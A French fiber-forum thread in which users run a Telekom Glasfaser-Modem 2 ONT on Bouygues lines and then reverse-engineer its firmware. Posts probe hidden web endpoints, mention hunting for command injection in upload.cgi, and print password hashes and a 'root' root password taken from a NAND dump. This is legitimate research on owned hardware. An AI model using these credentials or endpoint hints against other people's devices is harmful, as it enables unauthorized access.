D'ailleurs comment ca se passe niveau TR069? y'aurai pas un moyen de trouver un serveur Telekom ou 1&1 (oui car le même modem est utilisé chez 1&1 avec une web app à priori diférente, sur une référence "FG1000B.11 1&1 Glasfaser Modem")? Bon je sais en posant la question je sens bien que c'est pas possible ou probable, mais bon faut quand même que je pose la question :) ...   
Titre: Test Glasfaser-modem 2 telekom pour remplacement ONT 2.5Gbe Synchro OK / IPV4 OK
Posté par: hwti le 24 avril 2023 à 23:37:03
D'ailleurs comment ca se passe niveau TR069?
Je ne sais pas s'il y a du TR069 ou pas pour une partie du paramétrage.
Si on en croit les quelques discussions sur le forum Telekom, et certaines pages descriptives du site, les mises à jour seraient uniquement gérées via OMCI.
Donc c'est l'OLT qui pousse les nouveaux firmwares, comme pour les ONT externes en France.

Pour 1&1, j'ai l'impression que c'est une offre activée : ils doivent utiliser les OLT de Telekom, l'ONT est donc le même (avec un logo différent, probablement aussi dans l'interface web).
Titre: Test Glasfaser-modem 2 telekom ONT 2.5Gbe Synchro OK / IPV4 OK / IPV6 OK
Posté par: benoitm974 le 27 avril 2023 à 10:15:58
J'ai mis les informations sur cet ONT sur l'excellent site GPON Hack :

https://hack-gpon.github.io/ont-sercomm-fg1000b-11/

En espérant que cela donne de l'intérêt à d'autres personnes et qu'on trouve un hack sympa de ce petit ONT plein de potentiel.

Benoit
Titre: Test Glasfaser-modem 2 telekom ONT 2.5Gbe Synchro OK / IPV4 OK / IPV6 OK
Posté par: mirtouf le 27 avril 2023 à 17:07:59
Je pense que si on pouvait changer le numéro de série, ça serait plus simple pour éviter les problèmes d'authentifications.
Titre: Test Glasfaser-modem 2 telekom ONT 2.5Gbe Synchro OK / IPV4 OK / IPV6 OK
Posté par: sylv1s le 30 avril 2023 à 15:17:30
Bonjour à tous,

Je voulais remercier benoitm974 ! J'ai réussi à faire fonctionner du premier coup le Glasfaser Modem 2 derrière un UDM Pro :D Fibre installée vendredi, Glasfaser Modem 2 mis en place aujourd'hui, Bbox en carton ! J'ai cru avoir mal fait quelque chose car mon IPV4 fini par 0 ! Mais en rebranchant la bbox j'obtiens la même IP ! Reste la partie IPV6 qui n'est pas fonctionnelle pour le moment mais déjà super content du résultat  :)
Titre: Test Glasfaser-modem 2 telekom ONT 2.5Gbe Synchro OK / IPV4 OK / IPV6 OK
Posté par: benoitm974 le 30 avril 2023 à 15:41:06
Bonjour à tous,

Je voulais remercier benoitm974 ! J'ai réussi à faire fonctionner du premier coup le Glasfaser Modem 2 derrière un UDM Pro :D Fibre installée vendredi, Glasfaser Modem 2 mis en place aujourd'hui, Bbox en carton ! J'ai cru avoir mal fait quelque chose car mon IPV4 fini par 0 ! Mais en rebranchant la bbox j'obtiens la même IP ! Reste la partie IPV6 qui n'est pas fonctionnelle pour le moment mais déjà super content du résultat  :)

Merci ! Ca me fait plaisir que ca puisse servir à d’autres ! Si tu peux indiquer ton abonnement et le type de box
, le débit que tu atteins ainsi que la marque de l’OLT côté Bouygues (si tu les avais noté avant de changer la box). Ça permets de valider quel ont / olt utilisent l’autorisation par ploam password.

Bon week-end
Titre: Test Glasfaser-modem 2 telekom ONT 2.5Gbe Synchro OK / IPV4 OK / IPV6 OK
Posté par: mrbonhomme le 09 mai 2023 à 09:46:51
Bonjour à tous,

J'ai franchi le pas également. Et, je vous confirme que cette solution fonctionne chez moi.

Abonnement actuel : BBOX ultime Up : 2gb (1,9 atteint) Down : 900mbp (900mbp atteint)
OLT en face : Huawei
Routeur derrière : UI UDM SE

IPV6 : fonctionnel

Bonne semaine,
Titre: Test Glasfaser-modem 2 telekom ONT 2.5Gbe Synchro OK / IPV4 OK / IPV6 OK
Posté par: mirtouf le 09 mai 2023 à 11:08:05
Est-ce que la TV fonctionne avec cet ONT ?
A priori, dès que l'on part d'une offre avec ONT intégré dans la bbox, on peut s'authentifier, ce qui n'est pas le cas avec une offre disposant d'un ONT externe Huawei ou Nokia.
Titre: Test Glasfaser-modem 2 telekom ONT 2.5Gbe Synchro OK / IPV4 OK / IPV6 OK
Posté par: mrbonhomme le 09 mai 2023 à 11:29:56
Est-ce que la TV fonctionne avec cet ONT ?
A priori, dès que l'on part d'une offre avec ONT intégré dans la bbox, on peut s'authentifier, ce qui n'est pas le cas avec une offre disposant d'un ONT externe Huawei ou Nokia.

Je ne pourrais répondre à la question sur la TV. Je n'utilise que mon apple TV.
Titre: Test Glasfaser-modem 2 telekom ONT 2.5Gbe Synchro OK / IPV4 OK / IPV6 OK
Posté par: benoitm974 le 09 mai 2023 à 12:16:28
Bonjour à tous,

J'ai franchi le pas également. Et, je vous confirme que cette solution fonctionne chez moi.

Abonnement actuel : BBOX ultime Up : 2gb (1,9 atteint) Down : 900mbp (900mbp atteint)
OLT en face : Huawei
Routeur derrière : UI UDM SE

IPV6 : fonctionnel

Bonne semaine,
C'est top! merci pour le retour, les infos d'abo Bouygues et la confirmation du débit !
Benoit
Titre: Test Glasfaser-modem 2 telekom ONT 2.5Gbe Synchro OK / IPV4 OK / IPV6 OK
Posté par: benoitm974 le 09 mai 2023 à 12:22:24
Est-ce que la TV fonctionne avec cet ONT ?
A priori, dès que l'on part d'une offre avec ONT intégré dans la bbox, on peut s'authentifier, ce qui n'est pas le cas avec une offre disposant d'un ONT externe Huawei ou Nokia.

Pour info je ne suis pas certain que ce soit lié à l'offre, en effet quand je suis passé à l'offre ultym, j'ai reçu le matériel en 2 jours, j'ai tout branché et la bbox se connectait à la fibre sans problème (alors que dans l'espace client ma ligne n'était pas activée, d'ailleurs la VOIP ne fonctionnait pas sur la nouvelle bbox et la box tv ne fonctionnait pas non plus) pourtant je pouvais passer de l'ONT Huawei à la bbox6E/SFP sans problème.

Benoit
Titre: Test Glasfaser-modem 2 telekom ONT 2.5Gbe Synchro OK / IPV4 OK / IPV6 OK
Posté par: sylv1s le 09 mai 2023 à 23:44:11
Bonjour à tous,

J'ai franchi le pas également. Et, je vous confirme que cette solution fonctionne chez moi.

Abonnement actuel : BBOX ultime Up : 2gb (1,9 atteint) Down : 900mbp (900mbp atteint)
OLT en face : Huawei
Routeur derrière : UI UDM SE

IPV6 : fonctionnel

Bonne semaine,

Bonjour mrbonhomme, super nouvelle 😊. Pourrais tu me dire comment tu as fait pour la config de l’ipv6 s’il te plaît ? Merci d’avance
Titre: Test Glasfaser-modem 2 telekom ONT 2.5Gbe Synchro OK / IPV4 OK / IPV6 OK
Posté par: mrbonhomme le 10 mai 2023 à 13:59:14
Bonjour mrbonhomme, super nouvelle 😊. Pourrais tu me dire comment tu as fait pour la config de l’ipv6 s’il te plaît ? Merci d’avance

Bonjour, alors j'ai un udm se. Pour la gestion de l'IPV6 coté Wan, tu passes un DHCPv6 avec un délégation de préfix à 60.
Titre: Test Glasfaser-modem 2 telekom ONT 2.5Gbe Synchro OK / IPV4 OK / IPV6 OK
Posté par: benoitm974 le 10 mai 2023 à 14:01:50
Bonjour, alors j'ai un udm se. Pour la gestion de l'IPV6 coté Wan, tu passes un DHCPv6 avec un délégation de préfix à 60.

Y'a un post intéressant sur le fait que Bouygues utilise un mode un peu particulier du DHCPv6 (ce n'est pas sur l'UDM mais pour ma config debian ca m'avait bien aidé): https://lafibre.info/bbox-les-news/firewall-ipv6-delegation-de-prefixe-dans-la-nouvelle-maj-bbox-18-2-12/msg1005704/#msg1005704
Titre: Test Glasfaser-modem 2 telekom ONT 2.5Gbe Synchro OK / IPV4 OK / IPV6 OK
Posté par: sylv1s le 10 mai 2023 à 21:11:15
Bonjour, alors j'ai un udm se. Pour la gestion de l'IPV6 coté Wan, tu passes un DHCPv6 avec un délégation de préfix à 60.

Bonjour, c'est bien ce que j'ai fait mais ça fonctionne pas :/

Titre: Test Glasfaser-modem 2 telekom ONT 2.5Gbe Synchro OK / IPV4 OK / IPV6 OK
Posté par: sylv1s le 10 mai 2023 à 21:12:02
Y'a un post intéressant sur le fait que Bouygues utilise un mode un peu particulier du DHCPv6 (ce n'est pas sur l'UDM mais pour ma config debian ca m'avait bien aidé): https://lafibre.info/bbox-les-news/firewall-ipv6-delegation-de-prefixe-dans-la-nouvelle-maj-bbox-18-2-12/msg1005704/#msg1005704

Merci benoitm974 je vais creuser :)
Titre: Test Glasfaser-modem 2 telekom ONT 2.5Gbe Synchro OK / IPV4 OK / IPV6 OK
Posté par: hwti le 15 mai 2023 à 03:38:40
J'ai fait quelques tests avec l'ONT donné par benoitm974.

La broche RX de l'UART fonctionne matériellement, mais semble ignorée logiciellement.
Il y a un écho pendant quelques secondes après le boot du kernel (début du boot userspace je suppose), mais je n'ai pas réussi à en faire quelque chose (j'ai essayé entrée, Ctrl+C, root).

Le serveur HTTP a un comportement très étrange :
 - sans header Accept-Language, il répond un "UNKNOWN 400 Bad Request" invalide (ou alors c'est du HTTP 0.9), et pourtant il ne semble pas se servir de cette valeur (les pages sont toujours en allemand par défaut)
 - un "GET / HTTP/1.1" retourne une redirection "HTTP/1.1 302 Found", vers /ONT/client/html/content/overview/index.html qui répond en HTTP/1.0
 - "http://192.168.100.1/ONT redirige vers /ONT/ en disant "Directories must end with a slash.", mais le listing ne fonctionne pas (ça permet quand même de savoir si un chemin existe ou pas)
Ce mélange de versions est étrange, je vois aussi beaucoup de réponses non conformes.

Les JSON référencés dans les pages web :
 - http://192.168.100.1/ONT/client/data/FirmwareUpdate.json
 - http://192.168.100.1/ONT/client/data/FirmwareInstall.json
 - http://192.168.100.1/ONT/client/data/Reboot.json
 - http://192.168.100.1/ONT/client/data/Router.json
 - http://192.168.100.1/ONT/client/data/Status.json

Le code de mise à jour de firmware utilise http://192.168.100.1/upload.cgi, avec comme FormData :
 - MAX_FILE_SIZE (taille du fichier)
 - uploadType=image
 - uploadedfile (contenu)

uploadType=config est reconnu, et la réponse redirige vers settings.html (qui n'existe pas)

Il existe aussi http://192.168.100.1/download.cgi (que j'ai testé par analogie).
Un simple POST sans données répond "CONTENT_LENGTH is NULL" (dans les headers, ce qui est invalide), ce qui confirme la validité de l'URL.
En revanche, je ne suis pas arrivé à trouver des paramètres qu'il accepte, dès que j'en ajoute (-F downloadType=config par exemple) la réponse est vide.
Titre: Test Glasfaser-modem 2 telekom ONT 2.5Gbe Synchro OK / IPV4 OK / IPV6 OK
Posté par: benoitm974 le 17 mai 2023 à 16:59:41

Le code de mise à jour de firmware utilise http://192.168.100.1/upload.cgi, avec comme FormData :
 - MAX_FILE_SIZE (taille du fichier)
 - uploadType=image
 - uploadedfile (contenu)
Oui par contre je ne sais pas si tu as remarqué mais dans les header de réponse du POST il y a parfois un header 'sh: rm not found' si le fichier n'est pas reconnu ou trop volumineux mais en envoyant un .bin quelconque ce header n'apparait pas. Est-ce qu'il y aurait un script déclanché à la fin de l'upload qui utilise la commande rm ? Je n'ai pas réussi à trouver un escaping qui permette d'exploiter une injection sur cette commande rm ... :(

uploadType=config est reconnu, et la réponse redirige vers settings.html (qui n'existe pas)

Ha j'avais pas vu ça,  est-ce cela existe sur d'autre routeurs connus ? On pourrait exploiter un fichier de config ? une idée du format du fichier de config ?
Titre: Test Glasfaser-modem 2 telekom ONT 2.5Gbe Synchro OK / IPV4 OK / IPV6 OK
Posté par: hwti le 18 mai 2023 à 00:30:15
Oui par contre je ne sais pas si tu as remarqué mais dans les header de réponse du POST il y a parfois un header 'sh: rm not found' si le fichier n'est pas reconnu ou trop volumineux mais en envoyant un .bin quelconque ce header n'apparait pas. Est-ce qu'il y aurait un script déclanché à la fin de l'upload qui utilise la commande rm ? Je n'ai pas réussi à trouver un escaping qui permette d'exploiter une injection sur cette commande rm ... :(
Oui, j'ai vu quelques traces de shell comme ça, c'est soit un script, soit un system().


Ha j'avais pas vu ça,  est-ce cela existe sur d'autre routeurs connus ? On pourrait exploiter un fichier de config ? une idée du format du fichier de config ?
J'ai trouvé "config" en essayant différentes valeurs de uploadType.
A ce moment là, je me suis dit que si on peut envoyer une config, on peut peut-être faire une sauvegarde.
C'est donc pour ça que j'ai testé download.cgi, mais je n'ai uniquement pu confirmer sa présence, sans trouver comment l'appeler.

En cherchant les différents paramètres, je viens de trouver https://github.com/DaH4uk/emulators/tree/main/public/routers/sercomm.
Il s'agit d'une UI Sercomm extraite d'un routeur, mais probablement un peu modifiée pour faire un "simulateur".
Tout ne semble pas présent, et il y a des pages avec du contenu généré enregistré.
Il y a plusieurs usages du upload.cgi (image, config, et crt pour le TR-069), mais malheureusement pas de download.cgi.

Ca permet de découvrir :
 - http://192.168.100.1/ONT/client/data/user_lang.json => "1"
 - http://192.168.100.1/ONT/client/data/login.json => "[ ]"
 - http://192.168.100.1/ONT/client/data/Login.json => partie commune + {"vartype":"status","varid":"loginstate","varvalue":"0"}
Malheureusement ce n'est pas très intéressant.
Titre: Test Glasfaser-modem 2 telekom ONT 2.5Gbe Synchro OK / IPV4 OK / IPV6 OK
Posté par: hwti le 18 mai 2023 à 01:16:41
https://github.com/nikolas-n/Speedport-Plus-Cosmote-Router-hacks

On a le Login.json, mais toute tentative retourne une réponse vide : je ne sais pas si ça veut dire que c'est désactivé (puisque l'UI n'a pas de fonction de login), ou si le login est incorrect, ou s'il manque un paramètre.

De même, SecureStatus.json retourne une réponse vide, mais après 200ms, donc je me demande s'il n'y a pas quelque chose derrière.
Si ce sont des endpoints protégés par login, je ne sais pas quel est le comportement attendu sans cookie (même si une réponse vide, c'est bizarre, puisque ce n'est du HTTP valide).
Titre: Test Glasfaser-modem 2 telekom ONT 2.5Gbe Synchro OK / IPV4 OK / IPV6 OK
Posté par: benoitm974 le 23 mai 2023 à 02:34:08
Petit update sur les perf de la boite, j'ai finalement réussi à compiler une version openwrt pour le nanopi R5C (le mini routeur que j'utilise derrière l'OLT) à partir de ce github: https://github.com/mj22226/openwrt en y ajoutant les drivers propriétaires realtek depuis ce github:  https://github.com/csrutil/OpenWrt-NIC-Drivers

Ensuite en forçant ethtool en 2.5Gb/s (à priori un soucis dans l'auto-neg dans la version que j'ai compilé) et en passant openwrt en governeur "performance" et non "powersave", on fini par atteindre la limite des 2Gbit/s promise par Bouygues sur sur offre Utlym. Le Glasfaser-modem 2 tient bien ses promesses en 2.5GB/s !

commande (les résultats sont identiques en ipv6 et varient peu si on change le nombre de connection en // passé 4):
iperf3 -p 9203 -c paris.testdebit.info -R -P 10 -4
[ ID] Interval           Transfer     Bitrate         Retr
[  5]   0.00-10.00  sec   233 MBytes   196 Mbits/sec  37384             sender
[  5]   0.00-10.00  sec   229 MBytes   192 Mbits/sec                  receiver
[  7]   0.00-10.00  sec   243 MBytes   204 Mbits/sec  36856             sender
[  7]   0.00-10.00  sec   239 MBytes   201 Mbits/sec                  receiver
[  9]   0.00-10.00  sec   234 MBytes   197 Mbits/sec  40449             sender
[  9]   0.00-10.00  sec   230 MBytes   193 Mbits/sec                  receiver
[ 11]   0.00-10.00  sec   194 MBytes   163 Mbits/sec  29046             sender
[ 11]   0.00-10.00  sec   191 MBytes   160 Mbits/sec                  receiver
[ 13]   0.00-10.00  sec   230 MBytes   193 Mbits/sec  35676             sender
[ 13]   0.00-10.00  sec   226 MBytes   190 Mbits/sec                  receiver
[ 15]   0.00-10.00  sec   303 MBytes   254 Mbits/sec  49246             sender
[ 15]   0.00-10.00  sec   298 MBytes   250 Mbits/sec                  receiver
[ 17]   0.00-10.00  sec   197 MBytes   165 Mbits/sec  35903             sender
[ 17]   0.00-10.00  sec   194 MBytes   163 Mbits/sec                  receiver
[ 19]   0.00-10.00  sec   304 MBytes   255 Mbits/sec  53496             sender
[ 19]   0.00-10.00  sec   299 MBytes   251 Mbits/sec                  receiver
[ 21]   0.00-10.00  sec   166 MBytes   139 Mbits/sec  25274             sender
[ 21]   0.00-10.00  sec   163 MBytes   137 Mbits/sec                  receiver
[ 23]   0.00-10.00  sec   222 MBytes   186 Mbits/sec  32974             sender
[ 23]   0.00-10.00  sec   218 MBytes   183 Mbits/sec                  receiver
[SUM]   0.00-10.00  sec  2.27 GBytes  1.95 Gbits/sec  376304             sender
[SUM]   0.00-10.00  sec  2.23 GBytes  1.92 Gbits/sec                  receiver
Titre: Test Glasfaser-modem 2 telekom ONT 2.5Gbe Synchro OK / IPV4 OK / IPV6 OK
Posté par: hwti le 23 mai 2023 à 08:33:39
commande (les résultats sont identiques en ipv6 et varient peu si on change le nombre de connection en // passé 4):
J'en déduis que sur une seule connexion TCP (donc un cœur), le routeur ne suit pas.
Est-ce que c'est avec le "software flow offloading", qui limite les traitements sur les flux établis ?
Titre: Test Glasfaser-modem 2 telekom ONT 2.5Gbe Synchro OK / IPV4 OK / IPV6 OK
Posté par: benoitm974 le 23 mai 2023 à 14:26:15
J'en déduis que sur une seule connexion TCP (donc un cœur), le routeur ne suit pas.
Est-ce que c'est avec le "software flow offloading", qui limite les traitements sur les flux établis ?

Alors c’est avec software off load désactive. Ensuite avec 1 seul thread les résultats ont proches les irq et cpu ne sont pas à 100%. Par contre est ce que le serveurs ipeef3 en face ne priorise pas ? Est ce que quelqu’un a déjà obtenu >2gbs sur une connection sur les serveurs 40gb de Bouygues ?
Titre: Test Glasfaser-modem 2 telekom ONT 2.5Gbe Synchro OK / IPV4 OK / IPV6 OK
Posté par: hwti le 01 juin 2023 à 05:15:14
Bon j'ai dessoudé et dumpé la NAND.

binwalk ne dit pas grand chose :
...
1703866       0x19FFBA        Sercomm firmware signature, version control: 0, download control: 1, hardware ID: "DHP", hardware version: 0x4100, firmware version: 0x1, starting code segment: 0x0, code size: 0x7300
2097152       0x200000        UBI erase count header, version: 1, EC: 0x0, VID header offset: 0x800, data offset: 0x1000
5898170       0x59FFBA        Sercomm firmware signature, version control: 0, download control: 1, hardware ID: "DHP", hardware version: 0x4100, firmware version: 0x0, starting code segment: 0x0, code size: 0x7300
10092474      0x99FFBA        Sercomm firmware signature, version control: 0, download control: 1, hardware ID: "DHP", hardware version: 0x4100, firmware version: 0x0, starting code segment: 0x0, code size: 0x7300
12713984      0xC20000        JFFS2 filesystem, little endian
101449728     0x60C0000       JFFS2 filesystem, little endian
Il n'arrive pas à extraire les images UBI, et les deux images JFFS2 semblent mal extraites :
drwxr-xr-x 3 loic loic  4096 Jun  1 03:49 ./
drwxr-xr-x 5 loic loic  4096 Jun  1 03:49 ../
-rwxr-xr-x 1 loic loic 13868 Jun  1 03:49 1*
-rw-r--r-- 1 loic loic 13868 Jun  1 03:49 2
-rw------- 1 loic loic   892 Jun  1 03:49 config
-rw-r--r-- 1 loic loic   892 Jun  1 03:49 config.b
-rwxr-xr-x 1 loic loic 13868 Jun  1 03:49 ftcmd*
-rwxr-xr-x 1 loic loic  9684 Jun  1 03:49 ftd*
-rw-r--r-- 1 loic loic   864 Jun  1 03:49 fw_info_0
-rw-r--r-- 1 loic loic   864 Jun  1 03:49 fw_info_1
-rw-r--r-- 1 loic loic   864 Jun  1 03:49 mt_fw_info_1
-rw-r--r-- 1 loic loic   864 Jun  1 03:49 .pxx
-rw------- 1 loic loic  8192 Jun  1 03:49 scratchpad
-rw------- 1 loic loic   380 Jun  1 03:49 support
-rw-r--r-- 1 loic loic   380 Jun  1 03:49 support.b
drwxr-xr-x 4 loic loic  4096 Jun  1 03:49 sys_monitor/
-rw------- 1 loic loic   380 Jun  1 03:49 user
-rw-r--r-- 1 loic loic   380 Jun  1 03:49 user.b
-rw-r--r-- 1 loic loic   608 Jun  1 03:49 valid_file

En revanche un usage direct du ubireader_extract_images semble plus intéressant (malgré pas mal de traces d'erreur quand on les active) :
 - img-1886710111_vol-filestruct_cfe.bin.ubifs (1116Ko) : image CFE RAM (peut-être un peu gros) ?
 - img-1886710111_vol-METADATA.ubifs (124Ko) : quasiment vide, "committed", "cferam.000.998"
 - img-1886710111_vol-METADATACOPY.ubifs (124Ko) : identique
 - img-309480860_vol-lib_squashfs.ubifs (3,8Mo) : image squashfs (unsquashfs échoue à l'extraire entièrement)
 - img-901840304_vol-filestruct_full.bin.ubifs (2,7Mo) : image Broadcom visiblement, 96856.dtb (device-tree) + vmlinux.lz (kernel compressé en LZMA)
 - img-901840304_vol-rootfs_ubifs.ubifs (9,3Mo) : malgré son nom, c'est une image squashfs (unsquashfs échoue à l'extraire entièrement)

La 2ème image squashfs semble avoir tout d'un rootfs, mais avec parfois des liens symboliques comme /lib/libgcc_s.so.1 => /mnt/rootfs/lib/libgcc_s.so.1.
Peut-être que ce sont des fichiers dans l'autre image, mais c'est assez étrange comme méthode.

Le /etc/inittab semble indiquer le support d'une console série :
::sysinit:/etc/rcS
#::respawn:-/bin/sh
::respawn:-/sbin/getty -L ttyS0 115200 vt100
::restart:/sbin/init

/etc/cli_pw :
superadmin:$1$SERCOMM$P5ixtvfh7VICWbrLpIMXE1:0:0:Root:/:/bin/sh
/etc/shadow :
root:$1$qGmxLn8v$yTzaaXdb6.6QLLgS0Euz.1:12571:0:99999:7:::
...
=> si c'est utilisé, le mot de passe de "root" est "root"
Titre: Test Glasfaser-modem 2 telekom ONT 2.5Gbe Synchro OK / IPV4 OK / IPV6 OK
Posté par: benoitm974 le 01 juin 2023 à 09:09:17
Bon j'ai dessoudé et dumpé la NAND.

binwalk ne dit pas grand chose :
...
1703866       0x19FFBA        Sercomm firmware signature, version control: 0, download control: 1, hardware ID: "DHP", hardware version: 0x4100, firmware version: 0x1, starting code segment: 0x0, code size: 0x7300
2097152       0x200000        UBI erase count header, version: 1, EC: 0x0, VID header offset: 0x800, data offset: 0x1000
5898170       0x59FFBA        Sercomm firmware signature, version control: 0, download control: 1, hardware ID: "DHP", hardware version: 0x4100, firmware version: 0x0, starting code segment: 0x0, code size: 0x7300
10092474      0x99FFBA        Sercomm firmware signature, version control: 0, download control: 1, hardware ID: "DHP", hardware version: 0x4100, firmware version: 0x0, starting code segment: 0x0, code size: 0x7300
12713984      0xC20000        JFFS2 filesystem, little endian
101449728     0x60C0000       JFFS2 filesystem, little endian
Il n'arrive pas à extraire les images UBI, et les deux images JFFS2 semblent mal extraites :
drwxr-xr-x 3 loic loic  4096 Jun  1 03:49 ./
drwxr-xr-x 5 loic loic  4096 Jun  1 03:49 ../
-rwxr-xr-x 1 loic loic 13868 Jun  1 03:49 1*
-rw-r--r-- 1 loic loic 13868 Jun  1 03:49 2
-rw------- 1 loic loic   892 Jun  1 03:49 config
-rw-r--r-- 1 loic loic   892 Jun  1 03:49 config.b
-rwxr-xr-x 1 loic loic 13868 Jun  1 03:49 ftcmd*
-rwxr-xr-x 1 loic loic  9684 Jun  1 03:49 ftd*
-rw-r--r-- 1 loic loic   864 Jun  1 03:49 fw_info_0
-rw-r--r-- 1 loic loic   864 Jun  1 03:49 fw_info_1
-rw-r--r-- 1 loic loic   864 Jun  1 03:49 mt_fw_info_1
-rw-r--r-- 1 loic loic   864 Jun  1 03:49 .pxx
-rw------- 1 loic loic  8192 Jun  1 03:49 scratchpad
-rw------- 1 loic loic   380 Jun  1 03:49 support
-rw-r--r-- 1 loic loic   380 Jun  1 03:49 support.b
drwxr-xr-x 4 loic loic  4096 Jun  1 03:49 sys_monitor/
-rw------- 1 loic loic   380 Jun  1 03:49 user
-rw-r--r-- 1 loic loic   380 Jun  1 03:49 user.b
-rw-r--r-- 1 loic loic   608 Jun  1 03:49 valid_file

Bien joué !

A priori je sais pas si tu avais vu ce post d'un mec qui avait eu un souci avec une image UBI et binwalk : https://bytemeta.vip/repo/jrspruitt/ubi_reader/issues/49

EDIT/
à priori d'autre personnes ont dumpé un modem sercom avec un superuser et indiquent que le mot de passe est le CSN du modem: https://www.ispreview.co.uk/talk/threads/three-4g-hub-sercomm-lte2122gr-modding-discussions.39724/page-2

aussi une page qui parle du modem Three-4G du meme vendeur qui pourrait avoir des similitudes niveau firmware: https://github.com/shantur/Three-4G-Hub-Firmware-Analysis


Titre: Test Glasfaser-modem 2 telekom ONT 2.5Gbe Synchro OK / IPV4 OK / IPV6 OK
Posté par: hwti le 01 juin 2023 à 09:51:25
Avec les multiples couches (squashfs, UBI, probablement un format d'ECC dans les spares), modifier la NAND risque d'être compliqué.
En plus, je ne suis pas sûr de pouvoir la faire fonctionner sans la ressouder (et le préfère éviter d'avoir à faire ça en boucle).

Donc là il faut soit :
 - que je regarde côté CFE, pour l'UART
 - que j'arrive à extraire les squashfs, pour essayer de trouver un point d'entrée côté rootfs, ou le format des images à flasher

Déjà la bonne nouvelle est que tout semble être en clair (ce qui ne veut pas dire qu'il n'y a pas de signature).
Titre: Test Glasfaser-modem 2 telekom ONT 2.5Gbe Synchro OK / IPV4 OK / IPV6 OK
Posté par: hwti le 03 juin 2023 à 19:04:55
J'ai pu corriger les erreurs dans le dump, grâce à https://github.com/ak-hard/brcm-nand-bch/issues/1#issuecomment-612458535.
La repo en question explique le format du BCH-4 utilisé par les versions plus anciennes du contrôleur, mais la discussion m'a donné les informations nécessaires (le polynôme 0x5803).
Avec https://github.com/StrayLightning/brcm-nand-bch/blob/master/decode.c (après correction d'une petite erreur dans le code), j'ai pu avoir un dump correct.
Bizarrement toutes les erreurs (1 ou 2 bits) sont uniquement dans le premier secteur des pages (aucune erreur sur les 3 autres secteurs).

unblob se débrouille mieux, on a :
 - 0x0000000-0x0200000 : CFE ROM ?
 - 0x0200000-0x03A0000 : UBI image "1886710111" (METADATA, METADATACOPY, filestruct_cfe.bin) => CFE RAM ?
 - 0x03A0000-0x0600000 : ? (pas grand chose : Cmx2W, cferam.000, header sErCoMm, que 256 octets de vraies données)
 - 0x0600000-0x07A0000 : UBI image "1886710111" (même contenu)
 - 0x07A0000-0x0C20000 : identique à 0x03A0000-0x0600000
 - 0x0A00000-0x0A20000 : SCFLMAPOK, et uniquement 240 octets en 0x0A00800, le reste à 0xff
 - 0x0A20000-0x0A40000 : identique à 0x0A00000-0x0A20000
 - 0x0A40000-0x0AA0000 : rien (0xff)
 - 0x0AA0000-0x0C20000 : J.DHP19M01E5 suivi de 0xFF
 - 0x0C20000-0x0C80000 : JFFS2
 - 0x0C80000-0x5C80000 : UBI images "901840304" (rootfs_ubifs, filestruct_full.bin) et "309480860" (lib_squashfs)
 - 0x60C0000-0x7FC0000 : JFFS2
 - 0x7FC0000-0x8000000 : ? (1tbB et des 0xff, Bbt0 et des 0xff)

A partir du filestruct_full.bin, on peut facilement extraire :
 - 96856.dtb : device-tree (pas grand chose dedans, rien d'intéressant dans la ligne de commande passée au kernel)
 - vmlinux.lz : kernel, qui une fois décompressé se trouve être un Linux 4.1.51 en ARM64 (alors que le rootfs est armv7)

unblob a trouvé le /proc/config.gz dans le kernel.
CONFIG_CMDLINE="console=ttyS0,115200 earlyprintk debug irqaffinity=0"
C'est bizarre d'avoir "earlyprink" et "debug" en production.
CONFIG_MTD_OF_PARTS=y donc les partitions doivent être définies dans la device-tree, mais ce n'est pas le cas.
Je suppose que le bootloader les ajoute dynamiquement, avec probablement quelque chose comme "ubi.mtd=0 root=ubi0:rootfs_ubifs" (à moins que ce soit chargé en RAM et booté comme un initrd).

Les deux squashfs (rootfs_ubifs et lib_squashfs) peuvent maintenant être extraits sans erreur.

Les JFFS2 ont toujours un contenu bizarre (surtout les noms de fichiers, et des binaires ELF dont la présence dans une zone rw m'étonne).
Titre: Test Glasfaser-modem 2 telekom ONT 2.5Gbe Synchro OK / IPV4 OK / IPV6 OK
Posté par: mirtouf le 03 juin 2023 à 20:03:52
J'aime quand on a des forumeurs motivés. ;D
Force à toi !
Titre: Test Glasfaser-modem 2 telekom ONT 2.5Gbe Synchro OK / IPV4 OK / IPV6 OK
Posté par: hwti le 03 juin 2023 à 21:17:18
Il semble y avoir au moins des restes d'une WebUI complète (mais avec pas mal de fichiers stubs), en plus de celle limitée à laquelle on a accès.
Mais le /usr/sbin/mini_httpd référence des noms de fichiers, donc il y a peut-être un filtrage.

Il y a un setup.cgi, avec des références à sshd et telnet par exemple.

Le mini_httpd référence login.html et login/index.html, qui n'existent pas (à moins que ce soit autogénéré).
Il y a des fichiers autour du login qui sont des stubs :
 - /usr/www-ap/ONT/client/data/Login.json : []
 - /usr/www-ap/data/login.php
<?php
        
if(isset($_POST)){
                foreach(
$_POST as $key => $value){
                        if(
$key == &#39;LoginName&#39;) $loginUserLoginName = $value;
                        
if($key == &#39;LoginPWD&#39;) $loginUserLoginPassword = $value;
                        //
                        
if($key == &#39;loginUserChkLoginTimeout&#39;) logout($value);
                        
if($key == &#39;loginUserLoginMode&#39;) echo loginUserLoginMode($value);
                        
if($key == &#39;chk_sys_busy&#39;) echo chk_sys_busy($value);
                        
if($key == &#39;logout&#39;) echo userLogout($value);
                
}
        }

        if(isset(
$loginUserLoginPassword)) echo userLogin($loginUserLoginPassword);


        function 
userLogin($pwd){
                return &
#39;"1"&#39;;
        
}

        function 
logout($val){
                echo &
#39;[ ]&#39;;
        
}

        function 
userLogout($val){
                echo &
#39;1&#39;;
        
}

        function 
loginUserLoginMode($val){
                echo &
#39;enduser&#39;; //admin or enduser
        
}

        function 
chk_sys_busy($val){
                echo &
#39;0&#39;;
        
}
?>

- /usr/www-ap/data/login.json : 1

Et il y a /usr/www-ap/js/login.js, mais qui semble pas être référencé (à moins que ce soit chargé dynamiquement, ou dans une page générée).
Titre: Test Glasfaser-modem 2 telekom ONT 2.5Gbe Synchro OK / IPV4 OK / IPV6 OK
Posté par: benoitm974 le 05 juin 2023 à 10:12:02
De mon coté j'essaie de comprendre le boot process complet mais j'ai l'impression qu'il nous manque une partie ou que c'est plus "caché" que d'habitude.
Par exemple, entre inittab, les rcS, init files, et certain script ou binaires aucuns ne référencent le process mini_httpd, de fait je ne comprends par exemple pas à quel moment de le mini_http process est lancé.

D'un autre coté j'essaie de comprendre les requêtes POST qui semblent filtrés d'une certaine manière. Puisqu'on reçoit un empty answer quand on envoi pas exactement le mot clé attendu, mais on ne trouve aucunes traces des path et des mots clés attendu dans les binaires ni mini_httpd ni libraire...

Bref ca va occuper un certain nombre de soirées...
